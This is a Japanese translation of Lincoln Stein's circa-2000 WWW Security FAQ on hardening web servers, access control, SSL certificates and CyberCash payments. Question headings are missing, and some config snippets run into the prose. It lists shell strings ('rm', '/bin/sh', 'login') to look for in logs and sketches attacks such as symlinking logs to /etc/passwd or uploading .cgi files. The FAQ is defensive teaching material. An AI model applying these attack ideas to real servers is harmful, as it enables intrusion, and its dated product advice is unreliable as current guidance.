この文書(英文オリジナル)のコピーは、以下の場所で入手できます。
この FAQ は、「Web Security: A Step-by-Step Reference Guide」 というタイトルで、 Addison-Wesley Longman より本として出版されています。
この文書の著作権は Lincoln D. Stein にあります。 © copyright 1995-2000 Lincoln D. Stein
この文書は、W3C Intellectual Property Notice の規定に従った上で、自由に再配布することができます。
この文書の作成に当たりご助言、ご協力いただいた以下の方々に深く感謝します。
Webの所有者は、一番の危険にさらされています。自分のサイトにWebサーバをインストールしたときから、あなたは自分のローカルネットワークをインターネットに公開したことになります。多くのビジターは見るだけで満足しますが、中にはあなたが一般向けとして意図していないものも一目見ようとする人もいるでしょう。さらに、見ているだけでは 満足できずに、無理矢理入り込んでくる人もいるでしょう。被害は様々ですが、単なるいたずらで済まされる、たとえばあなたのホームページが下品なパロディーとすり替えられているというようなものから、深刻な損害、たとえばあなたの顧客情報のデータベースが すべて盗まれる、というようなものまで起こり得るのです。
一般的には、バグのあるソフトウェアがセキュリティに突破口をあけるといわれています。 大きく、複雑なプログラムにはバグがあるというのもよく言われることです。残念ながら、 Webサーバはセキュリティホールを持った可能性のある(いくつかの例では持っていると証明されている)大きく、 且つ複雑なプログラムなのです。さらに、Webサーバをオープン構築すると、リモートリクエストに応じて、 周囲のCGIスクリプトがサーバ側の接続に対して実行されてしまうことがあります。あなたのサイトにインストールされているCGI スクリプトはすべてバグを含んでいる可能性があり、そのバグはセキュリティホールになるかもしれないのです。
ネットワークの管理者の立場から見ると、Webサーバはあなたのローカルネットワークにもうひとつのセキュリティホールを作る可能性があります。ネットワークセキュリティの一般的な目標は、 部外者が入れないようにすることにあります。しかし、Webサイトの目的はあなたのネットワークへのコントロールされたアクセスを提供することです。 粗雑に構築されたWebサーバは、非常に綿密に設計されたファイアウォールのシステムに穴を開けることがあります。 また、粗雑に設計されたファイアウォールは、Webサイトを使用不可能にする可能性があります。 インターネットの環境では物事は格別に複雑になってきているので、 Webサーバはそれぞれにアクセス特権を与えられた様々なグループのユーザを認識し、 正当なユーザであることを証明できるように構築されていなくてはならないのです。
エンドユーザには、ネットサーフィンは安全で匿名のように思えますが、それは間違いです。 ActiveX コントロールやJava appletのようなアクティブコンテントは、ウェブを見たときにウィルスやその他の悪質なソフトウェアをユーザのシステムに送り込んでしまう可能性があります。 また、アクティブコンテントは、Webブラウザが悪質なソフトウェアに抜け道を与えて、 ファイアウォールにバイパスを作りLANへ入り込むようにしてしまうという点で、 ネットワークの管理者とも大いに関係があります。アクティブコンテントがなくても、 Web ページを見る行為そのものがユーザのネットサーフ履歴を電子記録として残すので、 そこからそのユーザの好みや習慣をとても正確に掴むことができてしまうのです。
つまり、エンドユーザとWebの管理者のどちらもWeb を介してやりとりされるデータの秘密には注意しなくてはならないのです。 TCP/IPのプロトコルはセキュリティを考えて設計されたものではないので、ネットワーク上での盗聴には無防備です。 機密文書がWebサーバからブラウザに送信されるとき、エンドユーザが送信フォームに個人情報を記入してサーバに送るとき、 その情報は盗聴されているかもしれないのです。
いわゆる「セキュアな」ブラウザやサーバは、機密文書や情報をネットワーク上での盗聴から守るためだけに設計されていると理解することが大切です。ブラウザ側とサーバ側の両方 のシステムが安全でなければ、機密文書も傍受に対して無防備なのです。 ネットワークの盗聴からの防御とシステムのセキュリティについては、この文書の1 〜 5 章で取り上げられています。クライアント側のセキュリティは 6、7 章に含まれます。8 章では特定の Web サーバのセキュリティに関する注意を扱います。
ありますが、UNIX や NT 関係者には、あまり触れられたくない話題かもしれません。一般的には、強力で柔軟性の高いオペレーティングシステムほど、Web (やその他の) サーバを通しての攻撃をうけやすくなります。
UNIX システムは、多くのサーバやサービス、スクリプト言語、インタプリタが内蔵されており、クラッカーが利用する入り口を非常に多く持っているので特に攻撃を受けやすいシステムです。Macintosh や特別な目的の Web サーバボックスのようにもう少し能力の低いものはクラッカーに利用されにくくなります。最も安全なWeb サイトは骨子だけの Webサーバを実行している骨子だけの Macintosh です。詳細についてはQ84を参照してください。
もちろん、実際には、多くのサイトにはマルチタスクオペレーションシステムの性能の利点、データベースやミドルウェアの接続性の利点などを考えて Windows NT や UNIX を使うことを好むでしょう。セキュリティホールは UNIX、Windows NT の両方で見つかっており、さらに新しいセキュリティホールが日常的に見つかっています。Windows NT のシステムの中でも、最近のものの方がより攻撃されやすくなります。その理由は 1 つは OS が比較的新しく、大きなバグが直されていないということ、そしてもう 1 つは NT のファイルシステムとユーザアカウントシステムは非常に複雑で正しく構築することが難しいからです。
もしあなたがシステムを正しく構築することができ、かつベンダが提供するセキュリテイパッチをすぐかけるようにしていれば、いわゆる UNIX システムの方が NT システムよりも安全でしょう。しかし、サーバホストやソフトウェアの実行者の経験も考慮しなくてはなりません。経験の浅いシステム管理者が管理する UNIX システムは、熟練した管理者が管理する Windows NT システムよりもはるかに危険なのです。
NCSA の UNIX サーババージョン 1.3 は、有名な、重大なセキュリティホールを含んでいます。 1995年の3月に発見されたこのセキュリティホールは、部外者がサーバホストに対し、任意のコマンドを実行してしまうことが可能なものです。 もし、1995 年 3 月以前のバージョン 1.3 httpd バイナリをお持ちの場合は、使用しないでください! パッチされた1.3のサーバか、(http://hoohoo.ncsa.uiuc.edu/ で入手可能) またはバージョン 1.4 以上のもの(同じサイトで入手可能)と交換してください。 Apacheの NCSA 用プラグインの交換 (http://www.hyperreal.com/apache/info.html) もこのバグに関しては無料です。
また、ブラウザのそれぞれの文書やドキュメントツリーの一部へのアクセスを制限するサーバの能力にはかなり開きがあります。 全く制限をしないサーバもあれば、ブラウザの IP アドレスに基づいたディレクトリや正しいパスワードを与えることができるユーザにアクセスを制限できるものもあります。 いくつかの、有償サーバ(たとえば Netsite Commerce Server、Open Market など)もまた、データを暗号化することができます。
John Franks 氏による WN サーバは、特筆に値するサーバです。設計が、他の Web サーバとは一線を画したものだからです。 他の多くのサーバがファイルの配布を黙認する形を取り、ドキュメントルート内のどの文書の移動も特別に禁じられていない限り許してしまうのに対して、 WN では制限がかけられます。 サーバはファイルが移動を許可された文書のリストの中にない限り、そのファイルを移動しません。 その場でのディレクトリ一覧表示や、その他の「場当たり的」な機能も許可されません。 WN のセキュリティ機能は http://hopf.math.nwu.edu/docs/security.htmlを参照してください。
有償、フリーウェア、あるいはパブリックドメインの多くのサーバを比較した表が WebCompare サイト http://www.webcompare.com/にまとめられています。
サーバサイドインクルードは、HTML文書に埋め込まれた、断片的なサーバの命令で、 これもセキュリティホールになる可能性があります。サーバサイドインクルードに使用できる命令のサブセットは、 サーバに任意のシステムコマンドや CGIスクリプトを実行するよう指示を出します。 作成者がHTMLの持ち得る問題について知らなければ、無意識のうちに、 思わぬ副作用を招くこともあります。あいにく、危険なサーバサイドインクルードを含んだ HTML ファイルは易しく書けるので魅力的に感じられます。
Apache や NCSA などいくつかのサーバでは、Webの管理者は任意のコマンドを実行できるインクルードのタイプを抜粋して disableにすることができます。詳細については、Q10を参照してください。
UNIX や NT システムで実行する Web サーバには、いくつかセキュリティ上の注意事項があります。
ftp://ftp.cert.org/pub/tools/crack/
ftp://ftp.cert.org/pub/tools/cops/Windows NT では、Midwestern Commerce's Administrator Assistant Toolkit を試してください。
http://www.ntsecurity.com
新しいセキュリティホールなどのタイムリーな情報源としては、newsgroup comp.security.announce に公示された CERT Coordination Center advisories があり、 以下に掲載されています。
ftp://ftp.cert.org/pub/cert_advisories/
WWW のセキュリティの問題に焦点を絞ったメーリングリストが IETF Web Transaction Security Working Group によって管理されています。定期購読するには、www-security- request@nsmx.rutgers.edu にメールを送ってください。 メッセージの本文に、 以下のように記入します。
SUBSCRIBE www-security your_email_address
Internet Security Systems,Inc.では、一連の Security FAQ を提供しています。 このFAQの最新版は以下で見ることができます。
http://www.iss.net/sec_info/addsec.html
主な WWW FAQ にも、 Web セキュリティに関係のある質問と回答、たとえばログファイルの管理やサーバソフトウェアのソースなどが含まれています。 最も新しいバージョンのFAQは以下にあります。
あなたは、サーバをローカルまたはリモートユーザの詮索する目から守らなくてはなりません。 最も簡潔な方策は Web の管理者を"www"ユーザとして指定し、"www" グループを作成してあなたのシステムで HTML 文書を作成する人すべてをこれに入れることです。 UNIX のシステムで、/etc/passwd ファイルを編集し、www ユーザのホームディレクトリがサーバルートになるようにしてください。 /etc/group を編集して、www グループのすべての作成者を加えるよう編集します。
サーバルートは www ユーザだけがコンフィギュレーションやログのディレクトリまたはコンテンツに書き込むことができるようにセットアップしてください。 これらのディレクトリの読み込みを www グループに許可するかはあなた次第です。Cgi-bin ディレクトリとそのコンテンツは、 世界中で実行可能、読み込み可能ですが、書き込みは不可能です (このディレクトリに関して、 信頼できるローカルの Web の作成者に書き込み許可を与えることができます)。
drwxr-xr-x 5 www www 1024 Aug 8 00:01 cgi-bin/ drwxr-x--- 2 www www 1024 Jun 11 17:21 conf/ -rwx------ 1 www www 109674 May 8 23:58 httpd drwxrwxr-x 2 www www 1024 Aug 8 00:01 htdocs/ drwxrwxr-x 2 www www 1024 Jun 3 21:15 icons/ drwxr-x--- 2 www www 1024 May 4 22:23 logs/
ドキュメントルートには異なった必要条件があります。あなたがインターネットで使えるようにしたいファイルは、 "nobody" というユーザの許可で実行されている間にサーバから読み込むことができなくてはなりません。 またローカルの Web ページ作成者が自由にドキュメントルートにファイルを加えられるようにしたくなるでしょう。 そのためにはドキュメントルートディレクトリを作り、そのサブディレクトリはユーザと "www" グループの所有で、誰でもが読み込むことができ、グループの人々は書き込むことができるようにすると良いでしょう。
drwxrwxr-x 3 www www 1024 Jul 1 03:54 contents drwxrwxr-x 10 www www 1024 Aug 23 19:32 examples -rw-rw-r-- 1 www www 1488 Jun 13 23:30 index.html -rw-rw-r-- 1 lstein www 39294 Jun 11 23:00 resource_guide.html
多くのサーバは、ドキュメントツリーの一部へのアクセスを、特定の IP アドレスや正しいパスワード (下記参照)を持ったリモートユーザに制限することができます。 しかし、Web の管理者の中には許可のない、ローカルユーザがドキュメントルートにあるアクセス制限された文書へアクセスしてしまうことを心配する人もいるでしょう。 このことはルートが誰でも読み込むことができる場合に問題になります。
この問題の解決法の1つは、サーバを "nobody" 以外、たとえば "www" グループに属していて特権のないユーザ ID などで実行することです。 これによってグループの人は読み込むことができても、部外者は読み込むことのできないアクセス制限された文書ができます (サーバが文書を書き換えることができてしまうので、グループに書き込み許可は与えないでください)。 こうすればローカルの、あるいは世界中の詮索の目から文書を守ることができます。 必ず、すべての制限されたサーバスクリプトに、同じように読み込みと実行の許可を設定してください。
CERN サーバではこの方法が一般化されており、制限されたドキュメントツリーが、それぞれの部分ごとに、 別々のユーザ特権またはグループ特権で実行されるようになっています。設定の方法については、 CERN のマニュアルを参照してください。
サーバをrootとして起動するが、実行は他のユーザとして行っている場合(Q11参照)、 サーバが実行ユーザの立場ではログのディレクトリの書き込みができないようになっていることが特に重要です。 たとえば、Netscape FastTrack と SuiteSpot サーバではサーバを実行しているユーザによって書き込みが可能になっています (つまり、デフォルトの設定では "nobody" に設定されています)。このことはいくつかの CGI のバグの影響を通常よりはるかに悪化させてしまう可能性があります。 たとえば、CGI のバグはリモートユーザが任意のコマンドを実行可能にしてしまいます。 そして、リモートユーザはバグを利用してサーバのルートアクセスの権限を得、ログファイルを /etc/passwd へのsymlink と取替えることができるようになります。お勧めできる回避策は、ログディレクトリの所有権を変更してサーバ・ ユーザが書き込みできないようにし、サーバ・ユーザの所有として空のログと pid ファイルを作っておくことです(これらのファイルを開くことができないと、サーバは起動し ません)。この解決法は、クラッカーがログファイルをいじることができてしまうので最適なものとは言えませんが、 デフォルトの設定よりははるかに良いでしょう。他の商用サーバにもこのバグがある場合があります。 (Laura Pearlman氏の情報提供に感謝します)
もちろん、自動ディレクトリ一覧機能をオフにしても、名前が推測できるようなファイルは盗難される危険があります。 また、自動テキストキーワード検索プログラムが不注意に「隠された」ファイルをインデックスに加えてしまうことも避けられません。 安全のためには、必要のないファイルはドキュメント・ルートからすべて削除してしまうべきでしょう。
NCSA や Apache サーバでは、シンボリックリンクを完全にオフにすることができます。 もうひとつのオプションとして、リンクの所有者がリンクのターゲットの所有者と一致した場合のみ、 シンボリックリンクでのジャンプを可能とすることもできます (つまり、 ドキュメントツリー中で自分が所有する部分はセキュリティが損なわれる恐れがありますが、 他の人の所有する部分にはリスクを与えずにすみます)。
Options IncludesNoExec
「ルートからサーバを起動する」とリスクがあるとされるのはこうした場合ではありません。 リスクがあると言われるのは、サーバが子プロセスをルートとして実行するよう構成されているケースです (たとえば、サーバコンフィグレーションファイル内に「ユーザルート」を指定するなど)。ルート権限で 起動された CGI スクリプトはそのシステムのあらゆる部分にアクセスできるようになるため、 これは重大なセキュリティ・ホールです。
サーバをルートで起動するのはどのような場合でも止めた方が良い、と言う人もいます。 サーバコードを起動してから子プロセスに分岐するまでの間、サーバの動きを制御する部分にどんなバグが潜んでいるか わからないと言うのです。パブリック・ドメイン・サーバのソースコードは自由に入手でき、そのよう な部分でバグはないとは思われますが、この警告は、間違ってはいません。サーバは普通の、 特権のないユーザ ID で実行した方が安全かもしれません。サーバを"nobody" "daemon""www"などで起動するサイトもたくさんあります。 しかし、この方法には、2つの問題があります。
仮説をたててみましょう。".cgi" という拡張子で終わるファイルをすべて実行するよう構成されている WWW があるとします。あなたのFTPデーモンを使って、リモートにいるクラッカーはあなたの FTP サイトに Perl のスクリプトをアップロードし、それに ".cgi" の拡張子を付けます。 そして自分のブラウザからあなたの Web サーバに新しくアップロードしたファイルを要求します。 そしてずばり、クラッカーはあなたのシステムを騙して、好きなコマンドを実行できるようになります。
FTP と Web サーバの階層を重ねることはできます。しかしFTP アップロードは、「匿名」ユーザに読み込みのできない 「新しくできた」ディレクトリに制限してください。
Choroot 環境でサーバを実行するために、サーバがアクセスする必要のあるものをすべて含んだルートファイルシステムの縮小版を作らなくてはなりません。 ここには、特別なデバイスファイルや共有ライブラリも含みます。 サーバのコンフィギュレーションファイルのすべてのパス名を調整し、 新しいルート・ディレクトリとの関連づけを行う必要もあります。この環境でサーバを起動するには、以下のように chroot コマンドを呼び出すシェルのスクリプトを置いてください。
chroot /path/to/new/root /server_root/httpd新しいルートディレクトリを設定するのは難しいし、このFAQの適用範囲外でもあります。 詳細については前述した著者の作品を参照してください。"chroot" 環境の効果を高めるには、 新しいルートディレクトリをできるだけ空に近い状態にしておくということを覚えておいてください。 新しいルートディレクトリには、インタプリタ、シェル、コンフィギュレーションファイル (/etc/passwd!を含む) を入れないでください。つまり残念ながら、 Perl や shell をもとにした CGI スクリプトは chroot 環境では実行できないということになります。 これらのインタプリタを入れることはできますが、chroot の利点のいくつかは失われます。
また、chroot はファイルを保護するだけで、万能の解決策ではないということに注意してください。 クラッカーが他の方法、たとえば NIS 情報サービスからシステムマップを取り込む、NFS をいじるなどして、 あなたのシステムに侵入してくるのを防ぐことはできません。
other hosts
\
server <-----> FIREWALL <------> OUTSIDE
/
other hosts
しかし、サーバを世界中に公開したい場合は、ファイアウォールの外側のどこかに置かなくてはなりません。 あなたの組織全体のセキュリティを考えると、完全にLAN の外側に置くのが一番安全でしょう。
other hosts
\
other hosts <----> FIREWALL <---> server <----> OUTSIDE
/
other hosts
これは「犠牲」構成と呼ばれます。サーバは侵入される危険性はありますが、 少なくとも侵入時に内部ネットワークのセキュリティを破損されることはなくなります。
WWW サーバをファイアウォールのマシンで実行することはお勧めできません。 サーバに何らかのバグがあると組織全体のセキュリティを危険にさらしてしまうからです。
この基本的な設定には、いくつものバリエーションがあります。公開情報には世界中にアクセス権を与え、 私的な文書には内部のネットワークアクセスを与えるなど、「内部用」 サーバと「外部用」サーバを組み合せる構成もあります。詳細については、 著作を参照してください。
ftp://ftp.tis.com/pub/firewalls/toolkit/
CERN サーバもプロキシの役割ができるよう構成されています。しかし、 CERN サーバは未知のセキュリティホールを含んでいる可能性のある大きく、 複雑なソフトウェアなのであまりお勧めしません。
ファイアウォールに関するより詳しい情報はWilliam Cheswick 氏、 Steven Bellovin氏共著の Firewalls and Internet Security およびD. Brent Chapman 氏、 Elizabeth D. Zwicky 氏共著のBuilding Internet Firewalls を参照してください。
ftp://coast.cs.purdue.edu/pub/COAST/Tripwire/
また、疑わしい動きがないか、定期的にアクセスとエラーのログファイルをチェックしてください。 "rm"、"login"、"/bin/sh" または "pearl" などのシステムコマンドや極端に長いURL が含まれているアクセスを探します(前者はシステムコマンドを呼び出すよう CGI スクリプトを騙そうとしていることを示し、後者はプログラムの入力バッファを溢れさせようとしていることを示します)。 また、パスワードで保護された文書へのアクセスに対し、何度も繰り返してエラーが出たものも探します。 これは、誰かがパスワードを解き当てようとした兆候の可能性があります。
IPアドレスのなりすましの検索・拒絶が可能なファイアウォールマシンの後ろでサーバを実行すれば、 IPアドレス制限のセキュリティ効果は非常に高くなります。こうした検索は、 ネットワーク内部のマシンになりすまして外部から侵入しようとするパケットを遮断するのに最も効果的です。
ひとつ注意すべき点は、プロキシサーバが文書を取ってくるようブラウザで設定されていて、 サーバが本当のユーザの IP アドレスではなく、そのプロキシの IP アドレスのみを知っている場合です。 つまり、プロキシが認可されたドメインにあれば、誰もがそのプロキシを使用してあなたのサイトにアクセスできるということです。 独自の制限ができる特定のプロキシでない限り、認可されたアドレスのリストにはプロキシ (またはプロキシサーバを含むドメイン) の IP アドレスは加えないでください。
ホスト名またはドメイン名での制限は IP アドレスでの制限と同じ危険があります。しかし、 さらに、「DNSのなりすまし」の危険にもさらされます。これはあなたのサーバを一時的に騙して、 認可されたホストネームが異なった IP アドレスに属していると認識させてしまうものです。 リスクを軽減するために、サーバの中にはそれぞれのクライアントに対して DNS 照合を特別にするものもあります。サーバは入ってきた要求の IP アドレスをホストネームに翻訳した後、 DNS を使ってそのホストネームを IP アドレスに再び翻訳します。 もしその 2 つが合致しなければ、アクセスは許可されません。NCSA の httpd でこの方法を使うには、 以下を参照してください。
もうひとつの問題は、パスワードはブラウザからサーバへと送信されている際の傍受に無防備だということです。 パスワードは有効な方法では暗号化されていないので、適切なハードウェアとソフトウェアを持ったクラッカーはパスワードを送信している間にインターネットからこれを盗むことができます。 さらに、一度しかパスワードがインターネットでやりとりされないログイン時のセッションと違い、ブラウザは保護された文書を取ってくる度にパスワードを送ります。 送信されたデータがインターネットを通る際にクラッカーが傍受するのを簡単にしてしまうのです。 これを防ぐために、データは暗号化しておかなくてはなりません。以下を参照してください。
サーバホストシステム上のローカルユーザに対しても文書を保護する必要がある場合は、 "nobody" 以外でサーバを実行し、制限された文書とサーバスクリプトの両方に、公開できないように許可を設定してください。 Q9を参照してください。
<Directory /full/path/to/directory>このようにすると、指示されたホスト (18.157.0.5、stoat.outback.au)、サブネット (182.198.2)、 ドメイン (.zoo.org) 以外のアクセスを拒否します。指定は数字の IP アドレスでもホストネームでも行うことができますが、 数字を使った方が破壊される可能性が低く安全です。 (Q18参照)
<Limit GET POST> order mutual-failure deny from all allow from 192.198.2 .zoo.org allow from 18.157.0.5 stoat.outback.au </Limit> </Directory>
ドメイン名による制限の安全性を増すひとつの方法は、サーバが DNS の照合の結果を必ず二重にチェックするようにしておくことです。 この機能は NCSA の httpd (および関連のある Apache サーバ) で Makefile 内に -DMAXIMUM_DNS フラグを必ずセットしておくことで可能になります。
CERN サーバでは、Protection 指令でプロテクション・スキーマを宣言し、Protect 指令を使ってそれをローカルのURLと関連させる必要があります。 指定したドメインだけにアクセスを制限する httpd.conf へのエントリは、以下のようになります。
Protection LOCAL-USERS {
GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
}
Protect /relative/path/to/directory/* LOCAL-USERS
新しいユーザを加える方法についての明確な詳細については、サーバのマニュアルで確認してください。 NCSA httpd では、サーバソフトウェアに添付の htpasswd プログラムを使用してパスワードファイルに新しいユーザを加えることができます。
htpasswd /path/to/password/file usernamehtpasswd は次にパスワードを使用するよう指示します。初めに htpasswd を呼び出すときは、 最初からパスワードファイルを作成するように - c フラグをつけなくてはなりません。
CERN サーバには htadm と呼ばれる少し異なったプログラムが付いています。
htadm -adduser /path/to/password/file usernamehtadm は次にパスワードを使用するよう指示します。
認可されたユーザの登録がすべて終わったら、ディレクトリを選択してパスワード保護をつけることができます。 NCSA の httpd とこれをベースとしたものには、access.confに以下のような追加を行ってください。
<Directory /full/path/to/protected/directory>
AuthName name.of.your.server
AuthType Basic
AuthUserFile /usr/local/etc/httpd/conf/passwd
<Limit GET POST>
require valid-user
</Limit>
</Directory>
AuthUserFile は、パスワードファイルへのフルパスと取り替える必要があります。
このタイプの保護方法は、前の章でも説明したように IP アドレスによる制限と組み合わせることができます。
詳細については、NCSA のオンラインマニュアル (http://hoohoo.ncsa.uiuc.edu/)、
または著者の作品 (How to
Set Up and Maintain a Web Site) を参照してください。
CERN サーバについては、httpd.conf に対応したエントリは以下のようになります。
Protection AUTHORIZED-USERS {
AuthType Basic
ServerID name.of.your.server
PasswordFile /usr/local/etc/httpd/conf/passwd
GetMask All
}
Protect /relative/path/to/directory/* AUTHORIZED-USERS
この場合も同様に、詳細についてはマニュアルや著者の作品を参照してください。
http://stein.cshl.org/~lstein/user_manage/Bill Jones 氏は WebPass と呼ばれる汎用のスクリプトを書きました。ユーザは Web のパスワードを変更できるだけでなく、 POP、ログインやニュースのパスワードなどを持っている場合これらも変更することができます。 これはPerl と Expect の組み合わせで可能となったもので、以下で見つけることができます。
http://web.fccj.org/~wcjones/WebPass.html商用 Web サーバにもいくつかリモートユーザ管理用のスクリプトがあります。詳細についてはサーバのマニュアルを参照してください。
http://your.site.com/protected/directory/.htaccessこれは、サーバのパスワードファイルを含むシステムの重要な情報を外部に知らせてしまうので非常に都合の悪いバグです。
ディレクトリごとのアクセスファイルのもうひとつの問題は、サーバのソフトウェアを変更する必要がある場合です。 非常に多くの小さなファイルを検索し、修正していくよりも、 たった 1 つ、中央のアクセスコントロールファイルを更新する方がはるかに簡単でしょう。
安全なインターネットの暗号化を実際に実装しているケースのほとんどは、 従来の対称の仕組みと新しい非対称の仕組みを組み合わせたものです。公開鍵暗号方式は、 後で実際のデータの暗号化に使用する対象方式の秘密鍵を取り決めるために使います。
商業活動では、安全な Web 上の送信を深刻に必要としているので、ブラウザ - サーバ間を送信されるデータの暗号化の仕組みを開発することには非常に高い興味を示しています。
公開鍵暗号方式については Bruce Schneier 著の "Applied Cryptography" を参照してください。
SSL (Secure Socket Layer) は Netscape Communications Corporationによって提案された仕組みです。 これは、HTTP や NNTP、FTPのような高レベルのプロトコルでのトランザクションを暗号化する低レベルの仕組みです。 SSL プロトコルは、サーバ認証(サーバの ID をクライアントに証明する)、送信中のデータの暗号化、 そして任意のクライアント認証(クライアントの ID をサーバに証明する) などの機能を持っています。 SSLは現在、Netscape Navigator、 Secure Mosaic、Microsoft Internet Explorer などのいくつかのブラウザや、Netscape、Microsoft、IBM、Quarterdeck、OpenMarket、O'Reilly and Associates などの多くのサーバ製品に実装されています。SSLの詳細については、以下を参照してください。
http://home.netscape.com/products/security/ssl/index.html
SHTTP (Secure HTTP) は、商業用に使用するインターネットの開発を目的とした企業提携団体 CommerceNet によって提案された仕組みです。これは、HTTP のプロトコルによってのみ動作する高レベルのプロトコルですが、 SSL よりも拡張性の高いものです。 SHTTP は最近、サーバでは Open Market, Inc が市場に出したOpen Marketplace Server に導入されており、クライアントでは Enterprise Integration Technologies の Secure HTTP Mosaic に導入されています。 詳細については、以下を参照してください。
http://www.eit.com/creations/s-http/
Shenは CERN の Phillip Hallam-Baker 氏によって提案された仕組みです。SHTTPのように、 既存の HTTP のプロトコルの高レベルな代用品です。2年前に提案されたにもかかわらず、 ブラウザやサーバのベンダでこれを導入しているところはありません。さらに、Shen を説明した URL はもう使用不可になっているので、どの点から見ても消滅しかけているといえるでしょう。
このソフトウェアにはいくつかのコンポーネントがあります。 SSL ベースのサーバを実行するに はすべてを入手し、インストールする必要があります。
SSL の使用できるサーバをインストールした後、認証機関から「サーバ証明書」を入手する必要があります。 サーバ証明書は多くの会社で取ることができますが、それぞれ少しずつ手順や料金の規定が違います。 アメリカでは、VeriSign Corporation が初めての、そして今でももっとも広く利用されている認証機関です。 しかし最近、料金を値上げしたので (商用サーバ証明書は 495 ドル)、VeriSign は最も高い会社のひとつとなってしまいました。 VeriSign の代わりにお勧めできるのは Thawte Consulting です。ここは料金がかなり安く、アメリカ国外の組織の申請での問題が非常に少ない会社です。 その他の証明組織には、以下のようなものがあります。
サーバ証明書の入手手順は認証機関によって少しずつ違いますが、基本的な概要は同じです。 認証機関を選んだら、その会社のWeb サイトに接続してサーバ証明書申請のセクションを見つけてください。 そこから自分のサーバのソフトウェアに適した申請用紙を探し、 記入します。 その後、あなたの Web サイトのドメイン名、会社名、連絡先を聞かれます。また、 組織の身元を証明するため、Dun and Bradstreet の番号や企業定款、大学の場合は会計からの公証済み文書などの提出を求められます。 また、クレジットカードの番号など、支払情報も聞かれるでしょう。
申請用紙の記入までが手順の半分で、この他に電子認証リクエストも作成する必要があります。 認証機関に申請用紙を提出後、サーバのソフトウェアに付いているプログラムを使用して公開 / 秘密鍵を作成します。 Apache-SSL では、このプログラムは genkey と呼ばれています。
鍵のペアを作成すると、鍵作成ソフトウェアは鍵リクエストを含むファイルを作成します。 このファイルは認証機関に自動的にメール送信される場合もありますが、それ以外は手動で送るよう、 ソフトウェアから指示されます。どちらの場合も、認証機関があなたのリクエストが有効であると承認するまでに数日〜数週間かかります。 最後に、返信の電子メールでサインされた証明書を受取ります。サインされた証明書を自分のサーバにインストールして、 その手順は完了します。詳細についてはサーバごとに違います。Apache-SSL では、 使用するプログラムは getca と呼ばれます。
この時点で、ユーザは傍受される心配なくサーバから文書を取り出したり、 フォームを送信したりすることができます。サーバ証明書はあなたのサーバの ID の証明をリモートユーザに与えます。
あまり高価でない個人証明書は VeriSign から入手することができます。VeriSignは 2種類の証明書を提供しています。クラス 1 の証明は、 年にたった 9.95 ドルしかかかりませんが、ユーザが提出した申請用紙の情報を何も確認しないので、 本当にそのユーザが本人だという保証はしてくれません。せいぜい、そのユーザは申請されたアドレスでメールを受け取ることができる、 ということを証明する程度です。クラス 2 の証明書は、年に19.95 ドルで、もっと高度な保証を提供します。 そのような証明を取得するためには、ユーザは信用調査機関に正当であると確認された個人情報を用意する必要があります。
Iイントラネットを運用している場合は、 組織の従業員のきめ細やかなアクセスコントロールのために自分で個人証明書を発行したいと望むかもしれません。 これには、認証サーバをインストールする必要があります。認証サーバは、 Microsoft、 Netscape、XCert、 Entrust、GTE から出されています。
アクセスコントロールのために個人証明書を使用するには、サーバが特別に構成されている必要があります。その設定の仕組みはこの文書の範囲外ですが、詳しい指示は Web Security: A Step-by-Step Reference Guide という著者の本を参照してください。
暗号サーバを使っていても、サーバが受信した後でクレジットカード番号に何が起こるか、 注意する必要があります。たとえば、その番号がサーバスクリプトで受信された場合、 誰でも読めるログファイルに書き出したり、リモートサイトに電子メールで送ったりしないよう、 気をつけてください。
CyberCash に登録された業者から買い物をするとき、ユーザは従来の支払フォームに記入し、 SSL を介して送信します。あるいは、業者がInstaBuy にも対応している場合は、InstaBuy アイコンをクリックして Wallet を設定、または使用します。 CyberCash の業者は CyberCash の新しいサービスである InstaBuy を実装するかどうか選択できます。支払情報は、業者の Web サーバに送られ、そこで取引をまとめて金融機関とリンクしている CyberCash Gateway サーバに送ります。CyberCash はその名前から連想されるものとは対照的に、実際はバックエンドの支払システムで、 ユーザからは見えない、業者側の使用する支払処理方法なのです。
CyberCash の利点は、支払情報を送信するときに、トリプルDES 暗号を使用しているということです。 また、支払は一切 CyberCash で処理されるので、業者はデータベースや固定メモリにクレジットカードや当座預金の情報を記録する必要がありません。 このことにより、業者のコンピュータシステムへの侵入者に財務情報を盗まれる危険性が少なくなります。 すべてのセキュリティの問題は、CyberCash の責任になるのです。
業者が支払を受け取るには、まず金融機関にクレジットカードの業者用口座を開設します。 米国内の 95% 以上の金融機関は、CyberCash 対応です。業者用口座を開く手数料は、それぞれ地域の銀行が設定するので、 様々です。典型的なケースでは、口座を作る際に約 100 ドルかかり、口座を維持するのに月々 15 ドルかかります。 また、取引ごとに、売買金額の 2〜 3% が取引手数料としてかかります。金融機関から請求される手数料に加えて、 CyberCash側から業者に対しては、一回限りのサービス開設手数料 (500 ドル 〜 1,000 ドル) と、 サービス・アクセス手数料 (通常 40 〜 80 ドル) と 取引量に応じた手数料 (通常1取引ごとに 0.2 〜 0.6 ドル) など月々のサービス手数料が課金される予定です。
業者用の銀行口座を開設したら、業者は "Merchant Connection Kit" (MCK) と呼ばれるソフトウェアを Web サーバ上にインストールします。このソフトウェアは、ユーザがショッピングカートのスクリプト (またはそれに相当するもの) で「支払」ボタンを押すと起動し、 取引を CyberCash サーバ上の "CashRegister" に送ります。 MCK は無料でダウンロードでき、 Windows NT や UNIX を含む多くのプラットフォームで使用できます。 必要なハードディスク容量はわずか 100 k バイトで、オンラインストアの支払を扱うための、 暗号化や通信用のライブラリ、HTML テンプレート、CGI スクリプトなどが含まれています。
MCK の仕事は取引の実行に責任のあるCyberCash Gateway サーバに支払情報を送信することです。 これらの支払サーバは、取引がインターネット上のものではなく、通常の店頭販売のようにみえる方法で金融機関と通信します。
また CyberCash は管理部門の仕事、たとえば、取引に関する問い合わせ、日々の取引の集計、 また返品された品物の払い戻しなどの役割を果たす、"Administrative Interface" も提供しています。
CyberCash の主な利点は、すべて機能の揃った外部管理の支払処理システムを業者に提供するということです。 業者は、業者用の口座を開設し、MCK を構成するだけで始められます。 欠点としては、財務情報がひとつのサーバ (CyberCash) にあまりに集中してしまうことと、 それに伴うCyberCash サーバの性能やスループットの特徴への依存の危険性があげられます。 さらに、クレジットカード取引手数料が業者に請求されるので、 1 ゲームごとに支払うオンラインのビデオゲームのような小さな買い物には、CyberCashは非実用的です。
CyberCash の詳細な情報は、http://www.cybercash.com で入手できます。
